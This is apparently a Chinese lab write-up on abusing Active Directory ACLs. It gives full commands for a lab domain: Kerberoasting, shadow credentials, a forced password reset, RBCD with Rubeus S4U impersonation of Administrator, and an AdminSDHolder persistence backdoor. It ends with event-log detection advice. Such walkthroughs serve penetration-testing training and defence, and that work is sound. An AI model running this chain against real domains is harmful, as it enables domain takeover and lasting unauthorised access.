ACL在域里算比较复杂的知识，笔者原本熟悉程度也比较一般。但作为内网基础知识，还是有必要掌握的。以下是笔者学习的一些笔记并配套了对应的实战环境，目前环境作为私有挑战已上线xbitsplatform靶场平台。
该挑战需要在已有一个域凭据的情况下，全程通过远程操作完成一些ACL滥用相关的利用。
访问控制列表 (ACL) 是访问控制条目 (ACE) 的列表。ACL 中的每个 ACE 都标识一个受托者，并为该受托者指定允许、拒绝或审计的访问权限。安全对象的安全描述符可以包含两种类型的 ACL：DACL 和 SACL。
使用ADSI edit连接域后，可以看到某个域Object的acl，如下图。列表中的每一条即为ACE。代表以用户bob为主体，描述哪些对象对bob有什么样的权限。
具体打开一条ace，看到域管组对用户bob有一系列的权限：
刚才我们通过图形化界面查看了域对象的ACL，在渗透测试中往往使用命令行操作更加方便。我们将做个实验来比较几个工具的优劣:
我们手动增加了用户Apache对bob的完全访问权限:
安装：
`import-module ActiveDirectory `
使用:
`(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access `
可以看到Apache用户对bob有GenericAll权限
`Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"} `
和Active Directory Module相比多了一些字段，但少了IdentityReference，导致看起来不直观：
不知道是不是版本问题，和其他人的工具会不一样。不过可以根据SecurityIdentifier指向的sid知道是谁作用于bob。
`dsacls "CN=bob,CN=Users,DC=cia,DC=gov" `
结果比较明了，直接就是FULL CONTROL。
但如果我们给的权限只是列表中的一小点，那么看到的结果需要解读，比如我们看到：
表示CIA\Exchange Trusted Subsystem对bob用户的GUID为bf967a06-0de6-11d0-a285-00aa003049e2的属性有WriteProperty权限。
我们可以通过脚本转换GUID：
`$ObjectTypeGUID = @{} $GetADObjectParameter=@{ SearchBase=(Get-ADRootDSE).SchemaNamingContext LDAPFilter='(SchemaIDGUID=*)' Properties=@("Name", "SchemaIDGUID") } $SchGUID=Get-ADObject @GetADObjectParameter Foreach ($SchemaItem in $SchGUID){ $ObjectTypeGUID.Add([GUID]$SchemaItem.SchemaIDGUID,$SchemaItem.Name) } $ADObjExtPar=@{ SearchBase="CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" LDAPFilter='(ObjectClass=ControlAccessRight)' Properties=@("Name", "RightsGUID") } $SchExtGUID=Get-ADObject @ADObjExtPar ForEach($SchExtItem in $SchExtGUID){ $ObjectTypeGUID.Add([GUID]$SchExtItem.RightsGUID,$SchExtItem.Name) } $ObjectTypeGUID | Format-Table -AutoSize $ObjectTypeGUID[[GUID]'bf967961-0de6-11d0-a285-00aa003049e2'] `
结果：
即：CIA\Exchange Trusted Subsystem对bob用户的E-mail-Addresses属性有WriteProperty权限。
powerview也可以针对具体某一条查询：
dsacls.exe结果比较简单，只能查询基础ACL，如GenericAll、WriteDAcl等，但胜在能远程查询，其他工具需要在域的上下文中使用：
`dsacls.exe "\\10.0.0.50\CN=bob,CN=Users,DC=cia,DC=gov" `
可以使用dsacls进行普通赋权，如WriteACL、GenericAll等。特殊权限可以使用图形化的ADSI远程登录进行修改。
`dsacls "\\10.0.1.100\CN=Brandi.Khan,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Amy.Gibson:WD" dsacls "\\10.0.1.100\CN=Carol.Dean,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Brandi.Khan:GA" dsacls "\\10.0.1.100\CN=IT administrators,CN=Users,DC=pwn,DC=local" /I:T /G "pwn\Jane.Ward:GA" `
很多国外文章都使用BloodHound检测acl，我们看看如何实现：https://github.com/BloodHoundAD/SharpHound3/blob/master/SharpHound3/Tasks/ACLTasks.cs
首先从ldap信息里得到ntsecuritydescriptor：
笔者以往导出ldap信息笔者用的最多的是dsquery，并不会导出acl相关的信息。印象中adfind可以导出sddlstring：
`AdFind -b "OU=Employee,DC=Contoso,DC=Com" -s base nTSecurityDescriptor -sddl++ -resolvesids `
后续很简单，将数据初始化成ActiveDirectorySecurity实例，取需要的字段与对应值即可：
经过过滤找出允许GenericAll、Write Dacl、Write Owner的aces，之后对特殊的aces进行过滤，主要包括：
1.对DCSYNC权限相关的权限进行检测：
目前dcsync的分析比较透彻了，以下是进行dcsync需要的权限：
2.对ForceChangePassword的检测
3.对ldps进行检查，通过laps可以获取机器本地管理员密码
4.对操作spn及增加用户检查
这里有几个objectAceType为allguid，是00000000-0000-0000-0000-000000000000即作用于所有权限。
解释了上文提到的特殊aces和常规aces作用对象的区别。
sharpHound要在域内机器运行，局限性比较大，简单做个二开，增加了远程认证：
工具最后输出对整个域进行安全评估，以下是使用流程：
首先增加到dc的dns解析执行：
`7bitsPwnACLs.exe "pwn.local\Amy.Gibson" "7Bits@Templete" > all.txt `
获得yin的结果：
标红的都属于非系统默认的ACL的账户，看起来就非常异常。查找具体的规则：
可以看到Amy.Gibson对Brandi.Khan的00000000-0000-0000-0000-000000000000(即所有属性)有writeDACL权限。
需要重点关注的ACE如下：
`ForceChangePassword：强制改变当下的密码 AddMembers：可以对目标组添加用户（包括自己的账户） GenericAll：完全控制对象，包括更改密码、注册SPN、添加AD对象到目标组里面 GenericWrite:更改目标写入参数，导致下次用户登录脚本就要执行 WriteOwne：更新目标对象的所有者，可以让自己成为所有者 WriteDACL：更新对面的DACL，将ACL写入对面实体，直接授予我们的账户对对象的完全控制权 AllExtendedRights：能够对目标对象执行与扩展 AD 权限相关的任何操作。例如，这包括强制更改用户密码的能力。 `
这些权限可以帮助我们进行一定程度的提权，但一般我们选择对目标破坏性最小的一些方案。
我们现在拥有Amy.Gibson的账户密码，可以导出ACL及ldap信息：
Amy.Gibson在ldap方面仅仅是一个普通用户，没有什么可以利用的地方：
`objectClass: top objectClass: person objectClass: organizationalPerson objectClass: user cn: Amy.Gibson distinguishedName: CN=Amy.Gibson,CN=Users,DC=pwn,DC=local instanceType: 4 whenCreated: 04/16/2023 05:29:00 whenChanged: 04/16/2023 06:05:55 uSNCreated: 12880 uSNChanged: 13096 name: Amy.Gibson objectGUID: {9C994167-7B22-4979-98A1-712505B8E69B} userAccountControl: 66048 badPwdCount: 0 codePage: 0 countryCode: 0 badPasswordTime: 0 lastLogoff: 0 lastLogon: 0 pwdLastSet: 133260965408921060 primaryGroupID: 513 objectSid: S-1-5-21-1540577040-1432127714-718651653-1111 accountExpires: 0 logonCount: 0 sAMAccountName: Amy.Gibson sAMAccountType: 805306368 objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pwn,DC=local dSCorePropagationData: 01/01/1601 00:00:00 lastLogonTimestamp: 133260987556163029 ADsPath: LDAP://dc.pwn.local/CN=Amy.Gibson,CN=Users,DC=pwn,DC=local `
查看整域的acl，可以看到有几个账户都有异常的权限：
`[+] show WriteDACLoperation Administrators Domain Admins Enterprise Admins Account Operators Amy.Gibson Brandi.Khan Jane.Ward `
查看完整的acl信息，Amy.Gibson 对 Brandi.Khan 有writeDACL权限:
`Amy.Gibson has WriteDacl to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1115, CN=Brandi.Khan,CN=Users,DC=pwn,DC=local] `
我们可以通过远程直接使用ADSI edit赋予Brandi.Khan用户GenericAll权限，普通win10安装域功能后自带该工具：
设置连接参数：
修改Brandi.Khan的权限：
我们现在有Brandi.Khan账户的权限，暴力一些可以直接修改Brandi.Khan的密码，但在实际渗透中不会选择这样做。想要获取其密码我们可以使用targetedKerberoast技术。
这种技术解释起来很简单，就是有修改某一个账户权限的时候给这个账户新增一个spn，之后使用keberoasting破解密码即可。
使用https://github.com/ShutdownRepo/targetedKerberoast这个工具，会自动检测ACL，提供已有的账户密码即可：
最后会自动删除spn。
进行破解，获得Brandi.Khan的密码：
`john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi `
获得Brandi.Khan的密码P@ssw0rd。
通过targetedKerberoast我们已经拥有了Brandi.Khan权限，查看Brandi.Khan相关的acl：
`Brandi.Khan has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1141, CN=Carol.Dean,CN=Users,DC=pwn,DC=local] `
发现Brandi.Khan对Carol.Dean有GenericAll权限，除了targetedKerberoast技术，我们还可以使用Shadow Credentials技术。
Shadow Credentials简单来说就是我们可以设置某个账户的msDS-KeyCredentialLink属性，msDS-KeyCredentialLink可以设置公私密钥身份验证凭据，并使用它们获取特殊服务票证，该票证在您可以解密的加密 NTLM_SUPPLEMENTAL_CREDENTIAL 实体中的特权属性证书 (PAC) 中包含其 NTLM 哈希。
使用工具https://github.com/ShutdownRepo/pywhisker进行利用:
`python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "add" --filename test1 `
利用成功：
生成了证书及密码文件，使用证书进行认证：
`python gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass 0BUDG9Il7okIRHioXkY2 pwn.local/Carol.Dean Carol.Dean.ccache set KRB5CCNAME=Carol.Dean.ccache python getnthash.py -key bc427a139e28d2d965a64caf268209a170e29c11b0def6b11ad077fe3e4b4292 pwn.local/Carol.Dean `
清理后门：
`python pywhisker.py -d "pwn.local" -u "Brandi.Khan" -p "P@ssw0rd" --target "Carol.Dean" --action "clear" `
Carol.Dean有Jane.Ward的ForceChangePassword权限
`Carol.Dean has WriteProperty to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local] Carol.Dean has ExtendedRight to 00299570-246d-11d0-a768-00aa006e0529 on [S-1-5-21-1540577040-1432127714-718651653-1143, CN=Jane.Ward,CN=Users,DC=pwn,DC=local] `
我们可以通过远程MSRPC-SAMR协议修改Jane.Ward的密码，rpcclient默认支持hash认证：
`rpcclient -U "pwn\Carol.Dean" //10.0.1.100 --pw-nt-hash >input nthash rpcclient $> setuserinfo2 setuserinfo2 Jane.Ward 23 Admin7Bits `
通过MSRPC我们成功远程修改了Jane.Ward用户的密码。
Jane.Ward拥有对IT administrators组的GenericAll权限：
`Jane.Ward has GenericAll to 00000000-0000-0000-0000-000000000000 on [S-1-5-21-1540577040-1432127714-718651653-1152, CN=IT administrators,CN=Users,DC=pwn,DC=local] `
通过ldap信息，我们知道IT administrators 是 account opertaors组的成员：
`objectClass: top objectClass: group cn: IT administrators distinguishedName: CN=IT administrators,CN=Users,DC=pwn,DC=local instanceType: 4 whenCreated: 04/16/2023 09:53:05 whenChanged: 04/16/2023 10:55:21 uSNCreated: 13114 memberOf: CN=Account Operators,CN=Builtin,DC=pwn,DC=local uSNChanged: 13126 name: IT administrators objectGUID: {D29F7FE0-13E1-4A20-A46B-63D9BD30D6AD} objectSid: S-1-5-21-1540577040-1432127714-718651653-1152 adminCount: 1 sAMAccountName: IT administrators sAMAccountType: 268435456 groupType: -2147483646 objectCategory: CN=Group,CN=Schema,CN=Configuration,DC=pwn,DC=local dSCorePropagationData: 04/16/2023 10:55:21 dSCorePropagationData: 04/16/2023 09:59:26 dSCorePropagationData: 01/01/1601 00:00:00 ADsPath: LDAP://dc.pwn.local/CN=IT administrators,CN=Users,DC=pwn,DC=local `
即Jane.Ward可以通过操作IT administrators组成员达到操作account opertaors组的目的。
关于远程加组的操作，可以使用linux下的net
`net rpc group addmem "IT administrators" Jane.Ward -U pwn.local/Jane.Ward -S 10.0.1.100 `
通过ldap信息发现已经成功加入组：
最终转化为拥有account opertaors组成员如何提权的问题。
account opertaors组可以操作除了域管组或Administrators组的成员。想要进一步渗透需要借助rbcd技术。(RBCD) Resource-based constrained即基于资源的约束委派。
RBCD简单来说就是控制机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性，该属性指向一个域用户。表示该用户拥有机器的某一服务权限，如LDAP/SMB等，相当于这台机器的隐藏后门。
account opertaors是拥有域内普通机器的修改权限的：
因为设置RBCD需要一个拥有spn的账户，一般用户是没有的。机器账户自带一些spn，所以选择新增一个机器账户，默认一个用户可以新增10个机器账户：
`python addcomputer.py -computer-name faker -computer-pass 123456 -dc-ip 10.0.1.100 pwn.local/Jane.Ward:Admin7Bits `
使用https://github.com/tothi/rbcd-attack修改AllowedToActOnBehalfOfOtherIdentity属性：
`python rbcd.py -dc-ip 10.0.1.100 -t FLAG -f faker pwn\Jane.Ward:Admin7Bits `
笔者这里是windows环境，使用Rubeus工具申请tgt，使用s4u模拟成administrator并smb访问：
Rubeus.exe asktgt /domain:pwn.local /user:faker /password:123456 /dc:10.0.1.100 /outfile:1.KIRBI
Rubeus.exe s4u /ticket:1.KIRBI /impersonateuser:Administrator /msdsspn:cifs/FLAG.pwn.local /altservice:cifs /dc:10.0.1.100 /ptt
AdminSDHolder 修改是一种持久性技术，攻击者滥用 Active Directory 中的 SDProp 进程来建立 Active Directory 的持久性后门。每小时（默认情况下），SDProp 将 Active Directory 中受保护对象（例如，具有域管理员权限的用户）的权限与在称为 AdminSDHolder 的特殊容器上定义的权限进行比较。如果它们不同，它将用 AdminSDHolder 上定义的权限替换受保护对象的权限。因此，修改 AdminSDHolder 容器的对手可以建立影子管理路径和重新获得对 Active Directory 的管理访问权限的方法。
被保护的用户组如下：
`Account Operators Backup Operators Server Operators Print Operators Domain Admins Replicator Enterprise Admins Domain Controllers Read-only Domain Controllers Schema Admins Administrators `
利用起来比较简单：
`Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System' -PrincipalIdentity BobT -Rights All `
使用 PowerSploit 的 Add-DomainObjectACL cmdlet 将 AdminSDHolder容器上的所有权限授予一个普通账户。下次SDProp进程运行时，普通账户的GenericAll权限将应用于所有受保护的对象。
默认情况下远程对acl的访问、修改不会产生明显日志。需要手动开启审计日志的DS访问：
比如adminsdholder后门，日志id为5136，且ldap属性AttributeLDAPDisplayName为nTSecurityDescriptor安全描述符。
过滤起来就相当容易:
`<QueryList> <Query Id="0" Path="Security"> <Select Path="Security"> *[System[(EventID=5136)]] and *[EventData[Data[@Name='ObjectDN'] and (Data='CN=AdminSDHolder,CN=System,DC=YourDomain,DC=com')]] and *[EventData[Data[@Name='AttributeLDAPDisplayName'] and (Data='nTSecurityDescriptor')]] </Select> </Query> </QueryList> `
可以通过powershell将日志中的sddlstring转为可见的模式：
acl相关的信息源自ldap信息中的安全描述符，读取的风险系数并不高。但对于获取ldap信息都有限制的环境需要谨慎。
修改安全描述符在开启审计日志的情况下比较容易检测，属于高危行为。在利用的时候需要通过GPO确认是否开启了审计日志。
本挑战为xbitsplatform私有环境，xbitsplatform邀请码现通过知识星球活动获取：
同时我们也提供完全免费的公开综合靶场环境，如：
了解更多关于xbitsplatform的信息：
加入内部讨论群
https://www.secframe.com/blog/2019/account-operators-attacked/
https://www.thehacker.recipes/ad/movement/dacl
https://devblogs.microsoft.com/powershell-community/understanding-get-acl-and-ad-drive-output/
https://powersploit.readthedocs.io/en/latest/
https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
https://www.netwrix.com/adminsdholder\_modification\_ad\_persistence.html